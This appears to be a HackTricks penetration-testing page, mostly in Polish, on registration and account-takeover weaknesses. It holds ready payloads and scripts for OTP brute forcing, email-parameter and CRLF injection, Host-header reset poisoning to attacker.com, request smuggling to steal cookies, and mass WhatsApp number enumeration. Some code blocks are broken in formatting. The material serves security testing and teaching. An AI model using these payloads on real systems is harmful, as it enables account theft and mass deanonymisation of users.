Rejestracja & Takeover Vulnerabilities

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Registration Takeover

Duplikat rejestracji

  • Spróbuj utworzyć konto używając istniejącej nazwy użytkownika
  • Sprawdź różne warianty adresu e-mail:
  • wielkie litery (uppercase)
  • +1@
  • dodaj kropkę w adresie e-mail
  • znaki specjalne w części lokalnej adresu e-mail (%00, %09, %20)
  • Dodaj białe znaki po adresie e-mail: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com
  • Wypróbuj sztuczki kanonizacji dostawców poczty (zależne od usługi):
  • Gmail ignoruje kropki i subadresowanie: victim+1@gmail.com, v.ic.tim@gmail.com dostarczane do victim@gmail.com
  • Niektórzy dostawcy ignorują wielkość liter w części lokalnej
  • Niektórzy dostawcy akceptują unicode confusables. Spróbuj homoglifów i soft hyphen \u00AD w części lokalnej
  • Wykorzystaj to do: ominięcia sprawdzania unikalności, uzyskania zdublowanych kont/workspace invites, lub zablokowania rejestracji ofiary (tymczasowy DoS) podczas przygotowań do takeover

Enumeracja nazw użytkowników

Sprawdź, czy możesz ustalić, kiedy nazwa użytkownika jest już zarejestrowana w aplikacji.

  • Różne komunikaty o błędach lub statusy HTTP
  • Różnice czasowe (istniejący użytkownik może wywoływać zapytanie do IdP/DB)
  • Autouzupełnianie formularza rejestracji danymi profilu dla znanych adresów e-mail
  • Sprawdź przepływy team/invite: wpisanie adresu e-mail może ujawniać, czy konto istnieje

Polityka haseł

Przy tworzeniu użytkownika sprawdź politykę haseł (sprawdź, czy można użyć słabych haseł).
W takim przypadku możesz spróbować bruteforce’ować poświadczenia.

SQL Injection

Sprawdź tę stronę aby dowiedzieć się, jak próbować account takeovers lub wydobyć informacje przez SQL Injections w formularzach rejestracji.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Zmiana adresu e-mail

Po rejestracji spróbuj zmienić adres e-mail i sprawdź, czy zmiana jest poprawnie weryfikowana lub czy można zmienić go na dowolny adres.

Dodatkowe sprawdzenia

  • Sprawdź, czy można użyć disposable emails (mailinator, yopmail, 1secmail, etc.) lub obejść blocklistę przez subadresowanie jak victim+mailinator@gmail.com
  • Bardzo długie hasło (>200) prowadzi do DoS
  • Sprawdź limity częstotliwości tworzenia kont
  • Użyj username@burp_collab.net i analizuj callback
  • Jeśli używana jest weryfikacja numerem telefonu, sprawdź przypadki brzegowe parsowania/injection

Phone Number Injections

Captcha Bypass

Contact-discovery / identifier-enumeration oracles

Phone-number–centric messengers expose a presence oracle whenever the client syncs contacts. Replaying WhatsApp’s discovery requests historically delivered >100M lookups per hour, enabling near-complete account enumerations.

Attack workflow

  1. Instrument an official client to capture the address-book upload request (authenticated blob of normalized E.164 numbers). Replay it with attacker-generated numbers while reusing the same cookies/device token.
  2. Batch numbers per request: WhatsApp accepts thousands of identifiers and returns registered/unregistered plus metadata (business, companion, etc.). Analyze responses offline to build target lists without messaging victims.
  3. Horizontally scale enumeration with SIM banks, cloud devices, or residential proxies so per-account/IP/ASN throttling never triggers.

Dialing-plan modeling

Model each country’s dialing plan to skip invalid candidates. The NDSS dataset (country-table.*) lists country codes, adoption density, and platform split so you can prioritize high-hit ranges. Example seeding code:

import pandas as pd
from itertools import product

df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91"  # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)

Priorytetowo wybieraj prefiksy dopasowane do rzeczywistych przydziałów (Mobile Country Code + National Destination Code) przed zapytaniem oracle, aby zachować użyteczną przepustowość.

Zamiana enumeracji w ataki ukierunkowane

  • Wprowadzaj leaked numery telefonów (np. Facebook’s 2021 breach) do oracle, aby ustalić, które tożsamości są nadal aktywne przed phishingiem, SIM-swappingiem lub spamem.
  • Segmentuj zestawienia według kraju/OS/typu app, aby znaleźć regiony ze słabym filtrowaniem SMS lub dużą adopcją WhatsApp Business dla lokalnego social engineering.

Korelacja ponownego użycia kluczy publicznych

WhatsApp ujawnia klucz tożsamości X25519 każdego konta podczas ustanawiania sesji. Pobierz materiały tożsamości dla każdego wyenumerowanego numeru i usuń duplikaty kluczy publicznych, aby ujawnić farmy kont, sklonowane clienty lub niebezpieczne firmware — współdzielone klucze deanonymizują operacje multi-SIM.

Procesy rejestracji często weryfikują własność za pomocą numerycznego OTP lub tokena magic-link. Typowe błędy:

  • Przewidywalny lub krótki OTP (4–6 cyfr) bez skutecznego rate limiting ani śledzenia IP/urządzenia. Spróbuj równoległych zgadywań i rotacji headerów/IP.
  • Ponowne użycie OTP w różnych akcjach lub kontach, albo brak powiązania z konkretnym użytkownikiem/akcją (np. ten sam kod działa przy logowaniu i rejestracji lub działa po zmianie e-maila).
  • Multi-value smuggling: niektóre backendy akceptują wiele kodów i weryfikują, czy któryś pasuje. Spróbuj:
  • code=000000&code=123456
  • JSON arrays: {"code":["000000","123456"]}
  • Mixed parameter names: otp=000000&one_time_code=123456
  • Comma/pipe separated values: code=000000,123456 or code=000000|123456
  • Response oracle: rozróżniaj kody niepoprawne vs wygasłe vs przypisane do innego użytkownika po statusie/komunikacie/długości body.
  • Tokeny nie są unieważniane po sukcesie ani po zmianie hasła/e-maila.
  • Token weryfikacyjny niepowiązany z user agent/IP, co pozwala na ukończenie procesu cross-origin z kontrolowanej przez atakującego strony.

Przykład bruteforcingu z ffuf przeciwko JSON OTP endpointowi:

ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all

Równoległe/współbieżne odgadywanie, aby obejść sekwencyjne blokady (użyj Turbo Intruder w Burp):

Fragment Turbo Intruder do zalewania prób 6‑cyfrowych OTP ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)

def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Try racing verification: prześlij ten sam ważny OTP jednocześnie w dwóch sesjach; czasami jedna sesja staje się zweryfikowanym kontem atakującego, podczas gdy proces ofiary również się powiodzie.
- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host.

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (before the victim signs up)

Potężna klasa problemów pojawia się, gdy atakujący wykonuje działania na skrzynce email ofiary zanim ofiara utworzy konto, a następnie później odzyskuje dostęp.

Key techniques to test (adapt to the target’s flows):

- Classic–Federated Merge
- Atakujący: rejestruje klasyczne konto z adresem email ofiary i ustawia hasło
- Ofiara: później rejestruje się przez SSO (ten sam email)
- Nieprawidłowe łączenia mogą pozostawić obie strony zalogowane lub przywrócić dostęp atakującego
- Unexpired Session Identifier
- Atakujący: tworzy konto i utrzymuje sesję długotrwałą (nie wylogowuje się)
- Ofiara: odzyskuje/ustawia hasło i korzysta z konta
- Przetestuj, czy stare sesje pozostają ważne po resecie lub włączeniu MFA
- Trojan Identifier
- Atakujący: dodaje identyfikator wtórny do wcześniej utworzonego konta (telefon, dodatkowy email, lub łączy IdP atakującego)
- Ofiara: resetuje hasło; atakujący później używa trojana do resetu/logowania
- Unexpired Email Change
- Atakujący: inicjuje zmianę email na email atakującego i wstrzymuje potwierdzenie
- Ofiara: odzyskuje konto i zaczyna z niego korzystać
- Atakujący: później finalizuje oczekującą zmianę email, aby przejąć konto
- Non‑Verifying IdP
- Atakujący: używa IdP, który nie weryfikuje własności email, aby zadeklarować `victim@…`
- Ofiara: rejestruje się klasyczną ścieżką
- Serwis łączy konta po email bez sprawdzenia `email_verified` lub wykonania lokalnej weryfikacji

Praktyczne wskazówki

- Zbieraj przepływy i endpointy z paczek web/mobile. Szukaj klasycznego signupu, linkowania SSO, zmiany email/telefonu oraz endpointów resetu hasła.
- Stwórz realistyczną automatyzację, aby utrzymywać sesje aktywne podczas testowania innych przepływów.
- For SSO tests, postaw testowy OIDC provider i wydawaj tokeny z roszczeniami `email` dla adresu ofiary oraz `email_verified=false`, aby sprawdzić, czy RP ufa niezweryfikowanym IdP.
- Po każdym password reset lub zmianie email sprawdź, że:
- wszystkie inne sesje i tokeny są unieważnione,
- oczekujące możliwości zmiany email/telefonu są anulowane,
- wcześniej powiązane IdP/email/telefony są ponownie weryfikowane.

Note: Obszerna metodologia i studia przypadków tych technik są udokumentowane w badaniach Microsoft dotyczących pre‑hijacking (zob. References na końcu).

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Request password reset to your email address
2. Click on the password reset link
3. Don’t change password
4. Kliknij zewnętrzną stronę (np. Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Sprawdź, czy nagłówek Referer ujawnia token resetu hasła.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. Atakujący musi zalogować się na swoje konto i przejść do funkcji Change password.
  2. Uruchom Burp Suite i przechwyć zapytanie
  3. Wyślij je do zakładki repeater i edytuj parametry : User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Słaby Password Reset Token

Password reset token powinien być generowany losowo i unikatowy za każdym razem.
Spróbuj sprawdzić, czy token wygasa, czy jest zawsze taki sam — w niektórych przypadkach algorytm generowania jest słaby i można go odgadnąć. Następujące zmienne mogą być użyte przez algorytm.

  • Znacznik czasu
  • UserID
  • Email użytkownika
  • Imię i nazwisko
  • Data urodzenia
  • Kryptografia
  • Tylko cyfry
  • Krótka sekwencja tokena ( znaki między [A-Z,a-z,0-9])
  • Ponowne użycie tokena
  • Data wygaśnięcia tokena

Leaking Password Reset Token

  1. Wyzwól żądanie resetu hasła przez API/UI dla konkretnego emaila, np.: test@mail.com
  2. Zbadaj odpowiedź serwera i sprawdź resetToken
  3. Następnie użyj tokena w URL-u takim jak https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. Zarejestruj się w systemie z username identycznym jak username ofiary, ale z wstawionymi spacjami przed i/lub po username. np: "admin "
  2. Poproś o reset hasła używając swojego złośliwego username.
  3. Użyj tokena wysłanego na twój email i zresetuj hasło ofiary.
  4. Zaloguj się na konto ofiary używając nowego hasła.

Platforma CTFd była podatna na ten atak.
See: CVE-2020-7245

Przejęcie konta przez Cross Site Scripting

  1. Znajdź XSS w aplikacji lub subdomenie jeśli cookies są przypisane do domeny nadrzędnej : *.domain.com
  2. Leak the current sessions cookie
  3. Zaloguj się jako użytkownik używając cookie

Przejęcie konta przez HTTP Request Smuggling

  1. Użyj smuggler aby wykryć typ HTTP Request Smuggling (CL, TE, CL.TE)
    powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
  2. Skomponuj żądanie, które nadpisze POST / HTTP/1.1 następującymi danymi:
    GET http://something.burpcollaborator.net HTTP/1.1 X: z celem przekierowania ofiar do burpcollab i kradzieży ich cookies\
  3. Końcowe żądanie może wyglądać następująco
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

HackerOne zgłaszał wykorzystanie tego błędu\

Account Takeover via CSRF

  1. Stwórz payload dla CSRF, np: “HTML form with auto submit for a password change”
  2. Wyślij payload

Account Takeover via JWT

JSON Web Token może być używany do uwierzytelniania użytkownika.

  • Edytuj JWT, ustawiając inny User ID / Email
  • Sprawdź, czy podpis JWT jest słaby

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

Niektóre signup handlery wykonują upsert, gdy podany e-mail już istnieje. Jeśli endpoint akceptuje minimalne body zawierające email i password i nie wymusza weryfikacji własności, wysłanie adresu e-mail ofiary nadpisze jej password przed uwierzytelnieniem.

  • Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
  • Method hints: GET zwracający komunikaty takie jak “Only POST request is allowed.” często wskazuje poprawną metodę (HTTP) i że oczekiwane jest JSON body.
  • Minimal body observed in the wild:
{"email":"victim@example.com","password":"New@12345"}

Przykładowy PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Wpływ: Full Account Takeover (ATO) bez żadnego reset token, OTP ani email verification.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks